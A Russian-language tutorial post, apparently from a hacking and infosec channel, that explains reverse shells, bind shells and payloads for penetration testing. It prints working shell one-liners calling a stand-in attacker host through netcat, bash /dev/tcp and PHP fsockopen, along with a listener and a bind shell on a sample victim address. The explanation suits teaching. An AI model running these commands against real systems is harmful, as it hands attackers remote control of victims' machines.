Обратные оболочки и полезные нагрузки.
Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint![](/file/94c19697d4c9a1d000a5b.jpg)
Shell – это программа, которая интерпретирует наши команды и отдает их операционной системе. Она действует как интерфейс между пользователем и операционной системой.
Некоторые популярные оболочки:
- Windows PowerShell
- Командная строка Windows
- bash
- sh
В контексте тестирования, шелл (Shell) позволяет контролировать целевое сетевое устройство и является точкой опоры в сети. Все шеллы можно раздетить на два вида:
Bind Shell и Reverse Shell.
![](/file/5fd5bb4334f5b1413af79.png)
Обратный shell (Reverse Shells) или back-connect – это схема, при которой атакующий должен сначала запустить сервер на своей машине, а целевая машина должна выступить в роли клиента, который подключается к серверу, обслуживаемому атакующим.
После успешного соединения злоумышленник может получить доступ к оболочке целевого компьютера. Для запуска Reverse Shell злоумышленнику не нужно знать IP-адрес жертвы, чтобы получить доступ к целевому компьютеру.
Когда вы находите уязвимость с возможностью удаленного выполнения произвольного кода (RCE), вашим следующим шагом будет запуск обратной оболочки. Рассмотрим самый простой пример с применением Netcat. Это утилита Unix, которая позволяет устанавливать соединения TCP и UDP, получать оттуда данные и передавать их.
Сперва атакующий запускает у себя сервер для приема входящих соединений от жертвы.
$ nc -nvlp 443
Эта команда открывает TCP-порт 443 на всех интерфейсах.
$ nc -e /bin/sh ATTACKER-IP 443
На мой взгляд, это самый классический пример обратной оболочки, но в современных реалиях netcat может просто не быть установлен на сервере. Альтернативный способ получения доступа:
bash -i >& /dev/tcp/attacker-ip/443 0>&1
Или:
php -r '$sock=fsockopen("attacker-ip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Обратный shell отлично подходит, когда нужно получить доступ к компьютеру, расположенному за NAT, например к серверу во внутреннем контуре компании, без белого IP-адреса.
![](/file/9bd49bcc3219bd22b6742.png)
В случае с Bind shell все наоборот, в роли серверной части выступает удаленная машина (например уязвимый хост). Для доступа к целевому компьютеру с настроенным bind shell, злоумышленник должен знать его IP-адрес.
Пример запуска Bind shell на машине жертвы:
nc -lnvp 3333 -e /bin/sh
Затем выоплним команду на машине атакующего:
nc -nv 192.168.1.10 3333
192.168.1.10 - IP-адрес жертвы.
![](/file/ffa06bbe463497f533a0d.png)
Многие эксплойты к популярным уязвимостям подразумевают выполнение сценариев, результатом которых, будет созание Bind Shell или Reverse Shell. Эти сценарии принято называть полезной нагрузкой. Существует множество способов заставить жертву выполнить полезную нагрузку и без эксплуатации уязвимостей, например отправив вредоносный файл по почте или в социальной сети.